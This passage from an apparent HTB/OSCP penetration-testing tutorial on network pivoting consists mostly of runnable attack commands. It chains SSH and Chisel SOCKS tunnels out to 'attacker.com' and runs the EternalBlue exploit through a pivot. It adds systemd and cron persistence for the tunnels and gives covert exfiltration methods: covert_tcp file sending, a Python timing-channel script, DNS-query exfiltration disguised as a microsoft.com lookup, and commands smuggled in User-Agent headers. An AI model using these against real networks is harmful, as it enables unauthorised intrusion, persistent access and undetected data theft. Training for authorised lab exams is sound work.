ssh -D 1080 user@203.0.113.10 # SOCKS proxy through DMZ
# Stage 2: Internal LAN access through first pivot
# Scan internal network through SOCKS proxy
proxychains nmap -sS 192.168.1.0/24
# Identify internal targets: 192.168.1.50 (workstation)
# Compromise internal workstation through pivot
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.50
set PROXIES socks5:127.0.0.1:1080
exploit
# Stage 3: Second pivot point establishment
# Internal workstation has access to server network: 10.0.0.0/24
# Set up second pivot through meterpreter session
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > background
# Configure SOCKS proxy for second hop
use auxiliary/server/socks_proxy
set SRVPORT 1081
run -j
# Stage 4: Server network access through double pivot
# Configure proxychains for multiple hops
cat > ~/.proxychains/proxychains.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080 # DMZ pivot
socks5 127.0.0.1 1081 # Internal pivot
EOF
# Access server network through double pivot
proxychains nmap -sS 10.0.0.0/24
proxychains ssh administrator@10.0.0.100
# Alternative: Chisel chain for multi-hop
# Pivot 1 (DMZ)
./chisel client attacker.com:8080 R:9001:socks
# Pivot 2 (Internal)
./chisel client 127.0.0.1:9001 R:9002:socks
# Access through chain
curl --socks5 127.0.0.1:9002 http://10.0.0.100
# Why multi-hop pivoting is complex but necessary:
# - Modern networks have multiple security boundaries
# - Single pivot rarely provides complete network access
# - Each hop may have different constraints and capabilities
# - Requires careful planning and coordination
# - Essential for comprehensive network compromise
Pivot Point Management and Redundancy
What pivot management involves: Maintaining stable, redundant pivot points to ensure continuous access through complex network topologies.
# Redundant pivot establishment
# Set up multiple pivot points for reliability
# Primary pivot through SSH
ssh -f -N -D 1080 user@pivot1.com
# Backup pivot through Chisel
./chisel client -f pivot2.com:8080 R:1081:socks
# Tertiary pivot through HTTP tunnel
python reGeorgSocksProxy.py -p 1082 -u http://pivot3.com/tunnel.php
# Health monitoring script for pivots
cat > pivot_monitor.sh << 'EOF'
#!/bin/bash
check_pivot() {
local proxy=$1
local port=$2
if curl --connect-timeout 5 --socks5 ${proxy}:${port} http://ipinfo.io >/dev/null 2>&1; then
echo "Pivot ${proxy}:${port} is UP"
return 0
else
echo "Pivot ${proxy}:${port} is DOWN"
return 1
fi
}
# Check all pivots
check_pivot "127.0.0.1" "1080" # SSH pivot
check_pivot "127.0.0.1" "1081" # Chisel pivot
check_pivot "127.0.0.1" "1082" # HTTP tunnel pivot
# Restart failed pivots
if ! check_pivot "127.0.0.1" "1080"; then
ssh -f -N -D 1080 user@pivot1.com
fi
EOF
# Automated pivot failover
# Configure proxychains for automatic failover
cat > ~/.proxychains/proxychains.conf << 'EOF'
dynamic_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080 # Primary
socks5 127.0.0.1 1081 # Backup
socks5 127.0.0.1 1082 # Tertiary
EOF
# Load balancing across pivots
# Distribute traffic across multiple pivot points
# Use random_chain mode in proxychains
# Pivot persistence mechanisms
# Systemd service for SSH tunnel
cat > /etc/systemd/system/pivot-ssh.service << 'EOF'
[Unit]
Description=SSH Pivot Tunnel
After=network.target
[Service]
Type=simple
User=pivot
ExecStart=/usr/bin/ssh -N -D 1080 user@pivot1.com
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
# Cron job for pivot health checks
echo "*/5 * * * * /usr/local/bin/pivot_monitor.sh" | crontab -
# Why pivot management is critical:
# - Network instability can break pivot connections
# - Redundancy ensures continuous access
# - Automated monitoring reduces manual overhead
# - Proper persistence survives system reboots
# - Load balancing improves performance and reliability
Covert Channels and Data Exfiltration
Steganographic Tunneling
What steganographic tunneling involves: Hiding communication channels within legitimate-looking traffic or data to avoid detection.
Why steganographic methods are valuable: Extremely difficult to detect, appears as normal network traffic, and bypasses content-based detection systems.
# Image-based steganography for data hiding
# Hide data within image files
steghide embed -cf cover_image.jpg -ef secret_data.txt -p password
steghide extract -sf cover_image.jpg -p password
# Network steganography techniques
# Hide data in unused header fields
# TCP sequence numbers, IP ID fields, etc.
# Covert_TCP - Hide data in TCP/IP headers
./covert_tcp -dest target.com -source attacker.com -source_port 1234 -dest_port 80 -file secret.txt
# Time-based covert channels
# Encode data in packet timing intervals
# Send packets with specific time delays to represent binary data
cat > timing_channel.py << 'EOF'
#!/usr/bin/env python3
import time
import socket
import sys
def send_bit(bit, target, port):
"""Send bit encoded as timing delay"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((target, port))
if bit == '1':
time.sleep(0.5) # 500ms delay for bit 1
else:
time.sleep(0.1) # 100ms delay for bit 0
sock.close()
except:
pass
def send_message(message, target, port):
"""Send message via timing channel"""
binary = ''.join(format(ord(c), '08b') for c in message)
for bit in binary:
send_bit(bit, target, port)
time.sleep(0.05) # Small delay between bits
# Usage
send_message("SECRET", "target.com", 80)
EOF
# Protocol mimicry for covert channels
# Make tunnel traffic look like legitimate protocols
# DNS query mimicry
# Embed data in DNS queries that look legitimate
dig $(echo "secret" | base64).update.microsoft.com
# HTTP mimicry
# Hide commands in HTTP User-Agent strings
curl -H "User-Agent: Mozilla/5.0 ($(echo 'whoami' | base64))" http://target.com
# Social media covert channels
# Use legitimate social platforms for C&C
# Twitter, Facebook, Instagram posts with encoded commands
# Why steganographic tunneling is advanced evasion:
# - Hides in plain sight within legitimate traffic
# - Extremely difficult to detect without specific analysis
# - Can leverage any protocol or data format
# - Bypasses signature-based detection systems
# - Provides plausible deniability
Network Pivoting Methodology Summary
HTB/OSCP Network Pivoting Workflow
Systematic approach for network traversal:
- Network Reconnaissance Phase
- Map current network position and interfaces
- Identify accessible network segments
- Discover internal hosts and services
-
Analyze trust relationships and routing
-
Pivot Point Establishment
- Select optimal pivot hosts based on network access
- Establish primary and backup pivot connections
- Configure tunneling protocols (SSH, Chisel, etc.)
-
Test pivot connectivity and performance
-
Tunnel Configuration
- Set up SOCKS proxies for tool integration
- Configure port forwarding for specific services
- Establish encrypted tunnels for sensitive operations
-
Implement redundancy and failover mechanisms
-
Internal Network Enumeration
- Scan through established pivot points
- Identify high-value targets and services
- Map internal network topology
-
Discover additional pivot opportunities
-
Multi-Hop Pivot Expansion
- Establish secondary pivot points deeper in network
- Configure complex proxy chains
- Manage multiple simultaneous tunnels
-
Maintain operational security across hops
-
Persistent Access Maintenance
- Implement automated pivot monitoring
- Create redundant access paths
- Establish covert backup channels
- Document network topology and access methods
Key Success Factors for HTB/OSCP Pivoting:
Technical Proficiency:
- SSH tunneling mastery - Foundation of most pivoting scenarios
- Chisel expertise - Modern, versatile tunneling solution
- Proxychains configuration - Essential for tool integration
- Multi-protocol tunneling - DNS, ICMP, HTTP alternatives
Operational Excellence:
- Network mapping - Understanding topology before pivoting
- Redundancy planning - Multiple pivot paths for reliability
- Stealth considerations - Avoiding detection during traversal
- Persistence mechanisms - Maintaining access across sessions
Common Pivoting Mistakes to Avoid:
- Single point of failure pivot dependencies
- Inadequate network reconnaissance before pivoting
- Poor tunnel management and monitoring
- Ignoring stealth and operational security
- Insufficient documentation of pivot topology
Advanced Pivoting Techniques for Complex Scenarios:
- Protocol tunneling - DNS, ICMP, HTTP-based covert channels
- Steganographic methods - Hiding tunnels in legitimate traffic
- Multi-hop orchestration - Managing complex pivot chains
- Automated pivot management - Scripts for tunnel health and failover
This network pivoting methodology provides comprehensive coverage of techniques essential for modern penetration testing scenarios. The systematic approach ensures reliable network traversal while maintaining operational security and establishing persistent access across complex enterprise environments. These skills are fundamental for HTB challenges and OSCP exam success, where network segmentation and pivot requirements are common.
Last updated: 2025-08-26 20:00 UTC